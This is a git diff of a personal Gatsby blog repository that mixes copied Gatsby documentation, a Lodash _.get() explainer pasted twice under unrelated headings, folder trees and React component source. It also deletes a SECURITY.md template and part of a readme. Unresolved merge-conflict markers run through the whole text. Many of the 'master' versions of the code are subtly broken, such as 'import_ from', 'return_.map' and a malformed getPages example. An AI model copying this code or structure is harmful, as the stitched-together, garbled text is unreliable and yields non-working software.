+Layout components are for sections of your site that you want to share across multiple pages. For example, Gatsby sites will commonly have a layout component with a shared header and footer. Other common things to add to layouts are a sidebar and/or navigation menu. On this page for example, the header at the top is part of gatsbyjs.com's layout component.
+[How to create layout components](https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#how-to-create-layout-components)
+>>>>>>> master
 It is recommended to create your layout components alongside the rest of your components (e.g. into `src/components/`).
-
 Here is an example of a very basic layout component at `src/components/layout.js`:
-
 ```
 import React from "react"export default function Layout({ children }) {  return (    <div style={{ margin: `0 auto`, maxWidth: 650, padding: `0 1rem` }}>       {children}    </div>   )}
 ```
+<<<<<<< HEAD
 
 ## [](https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#how-to-import-and-add-layout-components-to-pages)How to import and add layout components to pages
 
+=======
+[](https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#how-to-import-and-add-layout-components-to-pages)How to import and add layout components to pages
+>>>>>>> master
 If you want to apply a layout to a page, you will need to include the `Layout` component and wrap your page in it. For example, here is how you would apply your layout to the front page:
-
 ```
 import React from "react"import Layout from "../components/layout"export default function Home() {  return (    <Layout>       <h1> I'm in a layout!</h1>     </Layout>   );}
 ```
-
 Repeat for every page and template that needs this layout.
+<<<<<<< HEAD
 
 ## [](https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#how-to-prevent-layout-components-from-unmounting)How to prevent layout components from unmounting
 
+=======
+[How to prevent layout components from unmounting](https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#how-to-prevent-layout-components-from-unmounting)
+>>>>>>> master
 As mentioned earlier, Gatsby does not, by default, automatically wrap pages in a layout component. The "top level" component is the page itself. As a result, when the "top level" component changes between pages, React will re-render all children. This means that shared components like navigations will unmount and remount. This will break CSS transitions or React state within those shared components.
-
 If you need to set a wrapper component around page components that won't get unmounted on page changes, use the **`wrapPageElement`** [browser API](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-browser/#wrapPageElement) and the [SSR equivalent](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-ssr/#wrapPageElement).
-
 Alternatively, you can prevent your layout component from unmounting by using [gatsby-plugin-layout](https://www.gatsbyjs.com/plugins/gatsby-plugin-layout/), which implements the `wrapPageElement` APIs for you.
+<<<<<<< HEAD
 
 # Adding Markdown Pages | Gatsby
 
+=======
+## Adding Markdown Pages | Gatsby
+>>>>>>> master
 > ## Excerpt
 >
 > Gatsby can use Markdown files to create pages in your site.
 > You add plugins to read and understand folders with Markdown files and from them…
-
 ---
-
 Gatsby can use Markdown files to create pages in your site. You add plugins to read and understand folders with Markdown files and from them create pages automatically.
-
 Here are the steps Gatsby follows for making this happen.
-
 1. Read files into Gatsby from the filesystem
 2. Transform Markdown to HTML and [frontmatter](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#frontmatter-for-metadata-in-markdown-files) to data
 3. Add a Markdown file
 4. Create a Collection Route component for the Markdown files
+<<<<<<< HEAD
 
 ## [](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#read-files-into-gatsby-from-the-filesystem)Read files into Gatsby from the filesystem
 
@@ -2429,13 +4172,32 @@ Use the plugin [`gatsby-source-filesystem`](https://www.gatsbyjs.com/plugins/gat
 
 ## [](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#add-plugin)Add plugin
 
+=======
+[](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#read-files-into-gatsby-from-the-filesystem)Read files into Gatsby from the filesystem
+Use the plugin [`gatsby-source-filesystem`](https://www.gatsbyjs.com/plugins/gatsby-source-filesystem/#gatsby-source-filesystem) to read files.
+[](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#install)Install
+`npm install gatsby-source-filesystem`
+[Add Plugin](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#add-plugin)Add plugin
+>>>>>>> master
 Open `gatsby-config.js` to add the `gatsby-source-filesystem` plugin. The `path` option is how you set the directory to search for files.
-
 ```
+<<<<<<< HEAD
 module.exports = {  siteMetadata: {    title: "My Gatsby Site",  },  plugins: [    {      resolve: `gatsby-source-filesystem`,      options: {        name: `markdown-pages`,        path: `${__dirname}/src/markdown-pages`,      },    },  ],}
+=======
+module.exports = {  siteMetadata: {
+    title: "My Gatsby Site",  },  
+plugins: [    {
+     resolve: `gatsby-source-filesystem`,
+options: {
+        name: `markdown-pages`,
+  path: `${__dirname}/src/markdown-pages`,
+},  
+  },  
+],}
+>>>>>>> master
 ```
-
 Completing the above step means that you've "sourced" the Markdown files from the filesystem. You can now "transform" the Markdown to HTML and the YAML frontmatter to JSON.
+<<<<<<< HEAD
 
 ## [](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#transform-markdown-to-html-and-frontmatter-to-data-using-gatsby-transformer-remark)Transform Markdown to HTML and frontmatter to data using `gatsby-transformer-remark`
 
@@ -2447,9 +4209,16 @@ You'll use the plugin [`gatsby-transformer-remark`](https://www.gatsbyjs.com/plu
 
 ## [](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#configure-plugin)Configure plugin
 
+=======
+[Transform Markdown to HTML and frontmatter to data using `gatsby-transformer-remark`](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#transform-markdown-to-html-and-frontmatter-to-data-using-gatsby-transformer-remark)
+You'll use the plugin [`gatsby-transformer-remark`](https://www.gatsbyjs.com/plugins/gatsby-transformer-remark/) to recognize files which are Markdown and read their content. The plugin will convert the frontmatter metadata part of your Markdown files as `frontmatter` and the content part as HTML.
+[Install transformer plugin](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#install-transformer-plugin)
+`npm install gatsby-transformer-remark`
+[Configure plugin](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#configure-plugin)
+>>>>>>> master
 Add this to `gatsby-config.js` after the previously added `gatsby-source-filesystem`.
-
 ```
+<<<<<<< HEAD
 module.exports = {  siteMetadata: {    title: "My Gatsby Site",  },  plugins: [    {      resolve: `gatsby-source-filesystem`,      options: {        name: `markdown-pages`,        path: `${__dirname}/src/markdown-pages`,      },    },    `gatsby-transformer-remark`,  ],}
 ```
 
@@ -2459,56 +4228,138 @@ Create a folder in the `/src` directory of your Gatsby application called `markd
 
 ## [](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#frontmatter-for-metadata-in-markdown-files)Frontmatter for metadata in Markdown files
 
+=======
+module.exports = {  siteMetadata: {
+    title: "My Gatsby Site",  },  
+plugins: [    {
+     resolve: `gatsby-source-filesystem`,
+options: {
+        name: `markdown-pages`,
+  path: `${__dirname}/src/markdown-pages`,
+},  
+  },  
+  `gatsby-transformer-remark`,  ],
+}
+```
+[Add a Markdown file](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#add-a-markdown-file)
+Create a folder in the `/src` directory of your Gatsby application called `markdown-pages`. Now create a Markdown file inside it with the name `post-1.md`.
+[Frontmatter for metadata in Markdown files](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#frontmatter-for-metadata-in-markdown-files)
+>>>>>>> master
 When you create a Markdown file, you can include a set of key/value pairs that can be used to provide additional data relevant to specific pages in the GraphQL data layer. This data is called "frontmatter" and is denoted by the triple dashes at the start and end of the block. This block will be parsed by `gatsby-transformer-remark` as YAML. You can then query the data through the GraphQL API from your React components.
-
 src/markdown-pages/post-1.md
-
 ```
 ---slug: "/blog/my-first-post"date: "2019-05-04"title: "My first blog post"---
 ```
-
 What is important in this step is the key pair `slug`. The value that is assigned to the key `slug` is used in order to navigate to your post.
+<<<<<<< HEAD
 
 ## [](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#create-a-collection-route-for-the-markdown-files)Create a Collection Route for the Markdown files
 
+=======
+[](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#create-a-collection-route-for-the-markdown-files)Create a Collection Route for the Markdown files
+>>>>>>> master
 Create `src/pages/{MarkdownRemark.frontmatter__slug}.js` and add the following code:
-
 src/pages/{MarkdownRemark.frontmatter\_\_slug}.js
-
 ```
+<<<<<<< HEAD
 import React from "react"import { graphql } from "gatsby"export default function Template({  data, }) {  const { markdownRemark } = data   const { frontmatter, html } = markdownRemark  return (    <div className="blog-post-container">       <div className="blog-post">         <h1> {frontmatter.title}</h1>         <h2> {frontmatter.date}</h2>         <div          className="blog-post-content"          dangerouslySetInnerHTML={{ __html: html }}        />       </div>     </div>   )}export const pageQuery = graphql`  query($id: String!) {    markdownRemark(id: { eq: $id }) {      html      frontmatter {        date(formatString: "MMMM DD, YYYY")        slug        title      }    }  }`
+=======
+import React from "react"
+import { graphql } from "gatsby"export default function Template({  data, }) {  const { markdownRemark } = data   const { frontmatter, html } = markdownRemark  return (    <div className="blog-post-container">       <div className="blog-post">         <h1> {frontmatter.title}</h1>         <h2> {frontmatter.date}</h2>         <div          className="blog-post-content"          dangerouslySetInnerHTML={{__html: html }}        />       </div>     </div>   )}export const pageQuery = graphql`  query($id: String!) {    markdownRemark(id: {
+ eq: $id }) {      html      frontmatter {        date(formatString: "MMMM DD, YYYY")        slug        title      }    }  }`
+>>>>>>> master
 ```
-
 Two things are important in the file above:
-
 1. A GraphQL query is made in the second half of the file to get the Markdown data. Gatsby has automagically given you all the Markdown metadata and HTML in this query's result.
-
     **Note: To learn more about GraphQL, consider this [excellent resource](https://www.howtographql.com/)**
-
 2. The result of the query is injected by Gatsby into the component as the `data` prop. `props.data.markdownRemark` is the property that has all the details of the Markdown file.
-
 Next you could create a page component at `src/pages/blog/index.js` to serve as a listing page for all your blog posts.
-
 This should get you started on some basic Markdown functionality in your Gatsby site. You can further customize the frontmatter and the component file to get desired effects!
-
 For more information, have a look in the working example `using-markdown-pages`. You can find it in the [Gatsby examples section](https://github.com/gatsbyjs/gatsby/tree/master/examples).
+<<<<<<< HEAD
 
 ## [](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#other-tutorials)Other tutorials
 
+=======
+[Other tutorials](https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#other-tutorials)
+>>>>>>> master
 </details>
-
 ---
+<<<<<<< HEAD
 
 # Technoloy
 
+=======
+### Overview
+The **`_.get()` method** in Lodash retrieves the object’s value at a specific path.
+If the value is not present at the object’s specific path, it will be resolved as `undefined`. This method will return the default value if specified in such a case.
+### Syntax
+```js
+_.get(object, path, defaultValue)
+```
+### Parameters
+This method accepts the following parameters:
+-   **`object`**: The object in which the given path will be queried.
+-   **`path`**: The path used to retrieve the value from the object.
+-   **`defaultValue`**: The default value that will be returned for resolved values that are undefined.
+### Return value
+This method will return the value at the specified path if found. Otherwise, it will return the default value if specified.
+### Example
+Let’s look at an example of the `_.get()` method in the code snippet below:
+### Explanation
+In the HTML tab:
+-   **Line 5**: We import the `lodash` script.
+In the JavaScript tab:
+-   **Lines 2 to 15**: We create an object to perform a query.
+-   **Line 18**: We define a variable `collegeYopPath` to get the value.
+-   **Lines 19**: We use the `_.get()` method and pass the `object`, `collegeYopPath`, and a default value as parameters.
+-   **Line 22**: We define a variable `falsyPath` to get the value.
+-   **Lines 23**: We use the `_.get()` method and pass the `object`, `falsyPath` and a `default value` as parameters.
+### Output
+-   The `_.get()` method at **line 19** contains a valid path, and therefore the expression is resolved, and `2021` is printed on the console.
+-   The `_.get()` method at **Line 23** contains an invalid path, and therefore the expression is resolved as `undefined`.
+## Technoloy
+>>>>>>> master
 ![tech-stack](https://github.com/bgoonz/BGOONZ_BLOG_2.0/blob/master/static/images/madewith.png?raw=true)
-
 ---
+<<<<<<< HEAD
 
 # SOURCECODE
 
+=======
+## SOURCECODE
+---
+### Overview
+The **`_.get()` method** in Lodash retrieves the object’s value at a specific path.
+If the value is not present at the object’s specific path, it will be resolved as `undefined`. This method will return the default value if specified in such a case.
+### Syntax
+```js
+_.get(object, path, defaultValue)
+```
+### Parameters
+This method accepts the following parameters:
+-   **`object`**: The object in which the given path will be queried.
+-   **`path`**: The path used to retrieve the value from the object.
+-   **`defaultValue`**: The default value that will be returned for resolved values that are undefined.
+### Return value
+This method will return the value at the specified path if found. Otherwise, it will return the default value if specified.
+### Example
+Let’s look at an example of the `_.get()` method in the code snippet below:
+### Explanation
+In the HTML tab:
+-   **Line 5**: We import the `lodash` script.
+In the JavaScript tab:
+-   **Lines 2 to 15**: We create an object to perform a query.
+-   **Line 18**: We define a variable `collegeYopPath` to get the value.
+-   **Lines 19**: We use the `_.get()` method and pass the `object`, `collegeYopPath`, and a default value as parameters.
+-   **Line 22**: We define a variable `falsyPath` to get the value.
+-   **Lines 23**: We use the `_.get()` method and pass the `object`, `falsyPath` and a `default value` as parameters.
+### Output
+-   The `_.get()` method at **line 19** contains a valid path, and therefore the expression is resolved, and `2021` is printed on the console.
+-   The `_.get()` method at **Line 23** contains an invalid path, and therefore the expression is resolved as `undefined`.
+---
+>>>>>>> master
 ```
-
 bryan@LAPTOP-9LGJ3JGS:/c/MY-WEB-DEV/BLOG____2.0/BLOG_2.0/src$ tree -f
 .
 ├── ./components
@@ -2651,18 +4502,21 @@ bryan@LAPTOP-9LGJ3JGS:/c/MY-WEB-DEV/BLOG____2.0/BLOG_2.0/src$ tree -f
     ├── ./utils/toStyleObj.js
     ├── ./utils/toUrl.js
     └── ./utils/withPrefix.js
-
 21 directories, 119 files
 bryan@LAPTOP-9LGJ3JGS:/c/MY-WEB-DEV/BLOG____2.0/BLOG_2.0/src$
 ```
-
 ---
+<<<<<<< HEAD
 
 # Source Code
+=======
+## Source Code
+>>>>>>> master
 
 <details>
-<summary>  Folder Structure (src)  </summary>
 
+
+<summary>  Folder Structure (src)  </summary>
 ```
 .
 ├── Combined_____-_____Doc.md
@@ -2969,17 +4823,21 @@ bryan@LAPTOP-9LGJ3JGS:/c/MY-WEB-DEV/BLOG____2.0/BLOG_2.0/src$
     ├── toStyleObj.js
     ├── toUrl.js
     └── withPrefix.js
-
 32 directories, 272 files
 ```
-
 </details>
 
 <details>
+
+
 <summary>  Click To See Component Sourcecode  </summary>
+<<<<<<< HEAD
 
 # Component Structure
 
+=======
+## Component Structure
+>>>>>>> master
 ```
 .
 ├── ActionLink.js
@@ -3001,18 +4859,17 @@ bryan@LAPTOP-9LGJ3JGS:/c/MY-WEB-DEV/BLOG____2.0/BLOG_2.0/src$
 ├── Submenu.js
 ├── global.css
 └── index.js
-
 ```
-
 ---
-
 ```js
 import React from 'react';
 import _ from 'lodash';
+<<<<<<< HEAD
 
+=======
+>>>>>>> master
 import { Link, withPrefix, classNames } from '../utils';
 import Icon from './Icon';
-
 export default class ActionLink extends React.Component {
     render() {
         let action = _.get(this.props, 'action', null);
@@ -3031,7 +4888,7 @@ export default class ActionLink extends React.Component {
                     'button-icon': _.get(action, 'style', null) === 'icon'
                 })}
             >
-                {_.get(action, 'style', null) === 'icon' && _.get(action, 'icon_class', null) ? (
+                {_.get(action, 'style', null) === 'icon' &&_.get(action, 'icon_class', null) ? (
                     <React.Fragment>
                         <Icon {...this.props} icon={_.get(action, 'icon_class', null)} />
                         <span className="screen-reader-text"> {_.get(action, 'label', null)}</span>
@@ -3044,19 +4901,76 @@ export default class ActionLink extends React.Component {
     }
 }
 ```
-
 ---
+<<<<<<< HEAD
 
 ```js
 import React from 'react';
 import _ from 'lodash';
 
+=======
+### Table of Contents
+-   [getPage][1]
+    -   [Parameters][2]
+-   [getPageByFilePath][3]
+    -   [Parameters][4]
+-   [getPages][5]
+    -   [Parameters][6]
+    -   [Examples][7]
+## getPage
+Get the page at the provided `urlPath`.
+### Parameters
+-   `pages` **[Array][8]** Array of page objects. All pages must have 'url' field.
+-   `urlPath` **[string][9]** The url path to find the page by
+Returns **[Object][10]**
+## getPageByFilePath
+Get the page at the provided `filePath`.
+### Parameters
+-   `pages` **[Array][8]** Array of page objects. All pages must have 'url' field.
+-   `filePath` **[string][9]** The file path to find the page by
+Returns **[Object][10]**
+## getPages
+Get all the pages located under the provided `urlPath`, not including the
+index page. I.e.: All pages having their URLs start with `urlPath` excluding
+the page having its URL equal to `urlPath`.
+### Parameters
+-   `pages` **[Array][8]** Array of page objects. All pages must have 'url' field.
+-   `urlPath` **[string][9]** The url path to filter pages by
+### Examples
+```javascript
+pages => [
+  {url: '/'},
+  {url: '/about'},
+  {url: '/posts'},
+  {url: '/posts/hello'},
+  {url: '/posts/world'}
+]
+getPages(pages, /posts')
+=> [
+  {url: '/posts/hello'},
+  {url: '/posts/world'}
+]
+```
+Returns **[Array][8]**
+[1]: #getpage
+[2]: #parameters
+[3]: #getpagebyfilepath
+[4]: #parameters-1
+[5]: #getpages
+[6]: #parameters-2
+[7]: #examples
+[8]: https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Array
+[9]: https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String
+[10]: https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object
+```js
+import React from 'react';
+import_ from 'lodash';
+>>>>>>> master
 import { Link, withPrefix, classNames } from '../utils';
-
 export default class CtaButtons extends React.Component {
     render() {
         let actions = _.get(this.props, 'actions', null);
-        return _.map(actions, (action, action_idx) => (
+return_.map(actions, (action, action_idx) => (
             <Link
                 key={action_idx}
                 to={withPrefix(_.get(action, 'url', null))}
@@ -3067,8 +4981,8 @@ export default class CtaButtons extends React.Component {
                       }
                     : null)}
                 className={classNames({
-                    button: _.get(action, 'style', null) === 'primary' || _.get(action, 'style', null) === 'secondary',
-                    'button-secondary': _.get(action, 'style', null) === 'secondary'
+button:_.get(action, 'style', null) === 'primary' || _.get(action, 'style', null) === 'secondary',
+'button-secondary':_.get(action, 'style', null) === 'secondary'
                 })}
             >
                 {_.get(action, 'label', null)}
@@ -3077,20 +4991,21 @@ export default class CtaButtons extends React.Component {
     }
 }
 ```
-
 ---
-
 ```js
 import React from 'react';
+<<<<<<< HEAD
 import _ from 'lodash';
 
+=======
+import_ from 'lodash';
+>>>>>>> master
 import { getPage, classNames, Link, withPrefix, pathJoin, getPages } from '../utils';
 import DocsSubmenu from './DocsSubmenu';
-
 export default class DocsMenu extends React.Component {
     render() {
         let site = _.get(this.props, 'site', null);
-        let page = _.get(this.props, 'page', null);
+let page =_.get(this.props, 'page', null);
         let root_docs_path = _.get(site, 'data.doc_sections.root_docs_path', null);
         let root_page = getPage(this.props.pageContext.pages, root_docs_path);
         return (
@@ -3104,7 +5019,7 @@ export default class DocsMenu extends React.Component {
                         <ul id="docs-menu" className="docs-menu">
                             <li
                                 className={classNames('docs-menu-item', {
-                                    current: _.get(page, 'url', null) === _.get(root_page, 'url', null)
+current:_.get(page, 'url', null) === _.get(root_page, 'url', null)
                                 })}
                             >
                                 <Link to={withPrefix(_.get(root_page, 'url', null))}> {_.get(root_page, 'frontmatter.title', null)}</Link>
@@ -3113,9 +5028,9 @@ export default class DocsMenu extends React.Component {
                                 let section_path = pathJoin(root_docs_path, section);
                                 let section_page = getPage(this.props.pageContext.pages, section_path);
                                 let child_pages = _.orderBy(getPages(this.props.pageContext.pages, section_path), 'frontmatter.weight');
-                                let child_count = _.size(child_pages);
+let child_count =_.size(child_pages);
                                 let has_children = child_count > 0 ? true : false;
-                                let is_current_page = _.get(page, 'url', null) === _.get(section_page, 'url', null) ? true : false;
+                                let is_current_page = _.get(page, 'url', null) ===_.get(section_page, 'url', null) ? true : false;
                                 let is_active = _.get(page, 'url', null).startsWith(_.get(section_page, 'url', null));
                                 return (
                                     <React.Fragment key={section_idx + '.1'}>
@@ -3149,18 +5064,19 @@ export default class DocsMenu extends React.Component {
     }
 }
 ```
-
 ---
-
 ```js
 import React from 'react';
+<<<<<<< HEAD
 import _ from 'lodash';
 
+=======
+import _from 'lodash';
+>>>>>>> master
 import { classNames, Link, withPrefix } from '../utils';
-
 export default class DocsSubmenu extends React.Component {
     render() {
-        let child_pages = _.get(this.props, 'child_pages', null);
+let child_pages =_.get(this.props, 'child_pages', null);
         let page = _.get(this.props, 'page', null);
         return (
             <ul className="docs-submenu">
@@ -3168,7 +5084,7 @@ export default class DocsSubmenu extends React.Component {
                     <li
                         key={child_page_idx}
                         className={classNames('docs-menu-item', {
-                            current: _.get(page, 'url', null) === _.get(child_page, 'url', null)
+                            current: _.get(page, 'url', null) ===_.get(child_page, 'url', null)
                         })}
                     >
                         <Link to={withPrefix(_.get(child_page, 'url', null))}> {_.get(child_page, 'frontmatter.title', null)}</Link>
@@ -3179,9 +5095,7 @@ export default class DocsSubmenu extends React.Component {
     }
 }
 ```
-
 ---
-
 ```js
 import _ from 'lodash';
 import React from 'react';
@@ -3198,11 +5112,8 @@ export default class Footer extends React.Component {
                 <div>
                     <center>
                         <br />
-
                         <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@algolia/algoliasearch-netlify-frontend@1/dist/algoliasearchNetlify.css" />
-
                         <br />
-
                         <table cellPadding={0} cellSpacing={0} border={0}>
                             <tbody>
                                 <tr>
@@ -3262,7 +5173,6 @@ export default class Footer extends React.Component {
                                                 </tbody>
                                             </table>
                                         </center>
-
                                         <form
                                             style={{
                                                 margin: '0px',
@@ -3332,7 +5242,6 @@ export default class Footer extends React.Component {
                         </a>
                     </center>
                 </div>
-
                 <div className="inner">
                     <div id="search" className="inner">
                         {' '}
@@ -3360,25 +5269,24 @@ export default class Footer extends React.Component {
     }
 }
 ```
-
 ---
-
 ```js
 import React from 'react';
+<<<<<<< HEAD
 import _ from 'lodash';
 
+=======
+import_ from 'lodash';
+>>>>>>> master
 import { Link, withPrefix, classNames } from '../utils';
 import ActionLink from './ActionLink';
 import Submenu from './Submenu';
-
 export default class Header extends React.Component {
     render() {
         return (
             <header id="masthead" className="site-header outer">
-                {/* <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@algolia/algoliasearch-netlify-frontend@1/dist/algoliasearchNetlify.css" />  */}
-
+                {/*<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@algolia/algoliasearch-netlify-frontend@1/dist/algoliasearchNetlify.css" />*/}
                 <br />
-
                 <div className="inner">
                     <div className="site-header-inside">
                         <div className="site-branding">
@@ -3414,19 +5322,19 @@ export default class Header extends React.Component {
                                         </button>
                                         <ul className="menu">
                                             {_.map(_.get(this.props, 'pageContext.site.siteMetadata.header.nav_links', null), (action, action_idx) => {
-                                                let page_url = _.trim(_.get(this.props, 'pageContext.url', null), '/');
-                                                let action_url = _.trim(_.get(action, 'url', null), '/');
+let page_url =_.trim(_.get(this.props, 'pageContext.url', null), '/');
+let action_url =_.trim(_.get(action, 'url', null), '/');
                                                 return (
                                                     <li
                                                         key={action_idx}
                                                         className={classNames('menu-item', {
-                                                            'has-children': _.get(action, 'has_subnav', null) && _.get(action, 'subnav_links', null),
+'has-children':_.get(action, 'has_subnav', null) && _.get(action, 'subnav_links', null),
                                                             current: page_url === action_url,
-                                                            'menu-button': _.get(action, 'style', null) !== 'link'
+'menu-button':_.get(action, 'style', null) !== 'link'
                                                         })}
                                                     >
                                                         <ActionLink {...this.props} action={action} />
-                                                        {_.get(action, 'has_subnav', null) && _.get(action, 'subnav_links', null) && (
+                                                        {_.get(action, 'has_subnav', null) &&_.get(action, 'subnav_links', null) && (
                                                             <React.Fragment>
                                                                 <button className="submenu-toggle">
                                                                     <span className="icon-angle-right" aria-hidden="true" />
@@ -3454,7 +5362,6 @@ export default class Header extends React.Component {
                         )}
                     </div>
                 </div>
-
                 <div>
                     <a className="github-corner" href="https://github.com/bgoonz/BGOONZ_BLOG_2.0" aria-label="View source on Github">
                         <svg
@@ -3497,16 +5404,13 @@ export default class Header extends React.Component {
     }
 }
 ```
-
 ---
-
 ```js
 import React from 'react';
-import _ from 'lodash';
-
+import _from 'lodash';
 export default class Icon extends React.Component {
     render() {
-        let icon = _.get(this.props, 'icon', null);
+let icon =_.get(this.props, 'icon', null);
         return (
             <svg className="icon" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                 {icon === 'dev' ? (
diff --git a/REFERENCE.md b/REFERENCE.md
new file mode 100644
index 0000000000..cb9e9ee7e9
--- /dev/null
+++ b/REFERENCE.md
@@ -0,0 +1,3 @@
+# Reference
+**Library Files**
+
diff --git a/SECURITY.md b/SECURITY.md
deleted file mode 100644
index 034e848032..0000000000
--- a/SECURITY.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# Security Policy
-
-## Supported Versions
-
-Use this section to tell people about which versions of your project are
-currently being supported with security updates.
-
-| Version | Supported          |
-| ------- | ------------------ |
-| 5.1.x   | :white_check_mark: |
-| 5.0.x   | :x:                |
-| 4.0.x   | :white_check_mark: |
-| < 4.0   | :x:                |
-
-## Reporting a Vulnerability
-
-Use this section to tell people how to report a vulnerability.
-
-Tell them where to go, how often they can expect to get an update on a
-reported vulnerability, what to expect if the vulnerability is accepted or
-declined, etc.
diff --git a/blueprint.md b/blueprint.md
deleted file mode 100644
index 40c2e03eb1..0000000000
--- a/blueprint.md
+++ /dev/null
@@ -1,4651 +0,0 @@
-# Bgoonz Blog Readme
-
-### [⇨WEBSITE🗺️⇦](https://bgoonz-blog.netlify.app)
-
-
-### [CHANGELOG](./CHANGELOG.md)
-
-##### [⇨WEBSITE🗺️⇦](https://bgoonz-blog.netlify.app) [⇨**Cloudfare-Backup**⇦](https://bgoonz-blog-2-0.pages.dev/) [⇨**search**⇦](https://www.algolia.com/realtime-search-demo/web-dev-resource-hub-9e6b8aa8-6106-44c5-9f59-ff3f9531abd4) [⇨**Backup Repo Deploy**⇦](https://bgoonzblog20-backup.netlify.app/#gsc.tab=0) [⇨**Github pages**⇦](https://bgoonz.github.io/BGOONZ_BLOG_2.0/) [⇨**Go To Site Wiki**⇦](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki) [⇨**Gatsby Cloud Version**⇦](https://bgoonzblog20master.gatsbyjs.io/) [⇨**Vercel Version**⇦](https://bgoonz-blog-2-0.vercel.app/) [⇨**Cloudfare-Domain**⇦](www.webdevhub.us) [⇨**gh-pages**⇦](https://bgoonz.github.io/BGOONZ_BLOG_2.0/) [⇨**backup netlify deploy**⇦](https://bgoonz-blog20-backup.netlify.app/)
-
-### Repos
-
-[Alt Backup](https://github.com/BGOOONZ-BLOG/bgoonz-blog2.0-v-5)
-[Blog Content](https://github.com/bgoonz/MainBlogContent)
-
-#### [⇨Privacy policy⇦](https://codepen.io/bgoonz/pen/LYLJZrW)
-
-[![Netlify Status](https://api.netlify.com/api/v1/badges/a1b7ee1a-11a7-4bd2-a341-2260656e216f/deploy-status)](https://app.netlify.com/sites/bgoonz-blog/deploys)[![CodeFactor](https://www.codefactor.io/repository/github/bgoonz/bgoonz_blog_2.0/badge)](https://www.codefactor.io/repository/github/bgoonz/bgoonz_blog_2.0)
-
-![GitHub visitors](https://visitor-badge-reloaded.herokuapp.com/badge?page_id=bgoonz.visitor.badge.reloaded&color=00bbbb&style=for-the-badge&logo=github)
-
----
-
-<!-- @import "[TOC]" {cmd="toc" depthFrom=1 depthTo=6 orderedList=false} -->
-
-<!-- code_chunk_output -->
-
-- [Bgoonz Blog Readme](#bgoonz-blog-readme)
-    - [⇨WEBSITE🗺️⇦](#website️httpsbgoonz-blognetlifyapp)
-    - [CHANGELOG](#changelogchangelogmd)
-        - [⇨WEBSITE🗺️⇦ ⇨**Cloudfare-Backup**⇦ ⇨**search**⇦ ⇨**Backup Repo Deploy**⇦ ⇨**Github pages**⇦ ⇨**Go To Site Wiki**⇦ ⇨**Gatsby Cloud Version**⇦ ⇨**Vercel Version**⇦ ⇨**Cloudfare-Domain**⇦ ⇨**gh-pages**⇦ ⇨**backup netlify deploy**⇦](#website️httpsbgoonz-blognetlifyapp-cloudfare-backuphttpsbgoonz-blog-2-0pagesdev-searchhttpswwwalgoliacomrealtime-search-demoweb-dev-resource-hub-9e6b8aa8-6106-44c5-9f59-ff3f9531abd4-backup-repo-deployhttpsbgoonzblog20-backupnetlifyappgsctab0-github-pageshttpsbgoonzgithubiobgoonz_blog_20-go-to-site-wikihttpsgithubcombgoonzbgoonz_blog_20wiki-gatsby-cloud-versionhttpsbgoonzblog20mastergatsbyjsio-vercel-versionhttpsbgoonz-blog-2-0vercelapp-cloudfare-domainwwwwebdevhubus-gh-pageshttpsbgoonzgithubiobgoonz_blog_20-backup-netlify-deployhttpsbgoonz-blog20-backupnetlifyapp)
-    - [Repos](#repos)
-      - [⇨Privacy policy⇦](#privacy-policyhttpscodepeniobgoonzpenlyljzrw)
-  - [Useful Commands (internal use)](#useful-commands-internal-use)
-  - [Web Dev Setup](#web-dev-setup)
-  - [Bash Cheat Sheet (MY COMMANDS)](#bash-cheat-sheet-my-commands)
-      - [Find](#find)
-  - [To find files by case-insensitive extension (ex: .jpg, .JPG, .jpG)](#to-find-files-by-case-insensitive-extension-ex-jpg-jpg-jpg)
-  - [To find directories](#to-find-directories)
-  - [To find files](#to-find-files)
-  - [To find files by octal permission](#to-find-files-by-octal-permission)
-  - [To find files with setuid bit set](#to-find-files-with-setuid-bit-set)
-  - [To find files with extension '.txt' and remove them](#to-find-files-with-extension-txt-and-remove-them)
-  - [To find files with extension '.txt' and look for a string into them](#to-find-files-with-extension-txt-and-look-for-a-string-into-them)
-  - [To find files with size bigger than 5 Mebibyte and sort them by size](#to-find-files-with-size-bigger-than-5-mebibyte-and-sort-them-by-size)
-  - [To find files bigger than 2 Megabyte and list them](#to-find-files-bigger-than-2-megabyte-and-list-them)
-  - [To find files modified more than 7 days ago and list file information](#to-find-files-modified-more-than-7-days-ago-and-list-file-information)
-  - [To find symlinks owned by a user and list file information](#to-find-symlinks-owned-by-a-user-and-list-file-information)
-  - [To search for and delete empty directories](#to-search-for-and-delete-empty-directories)
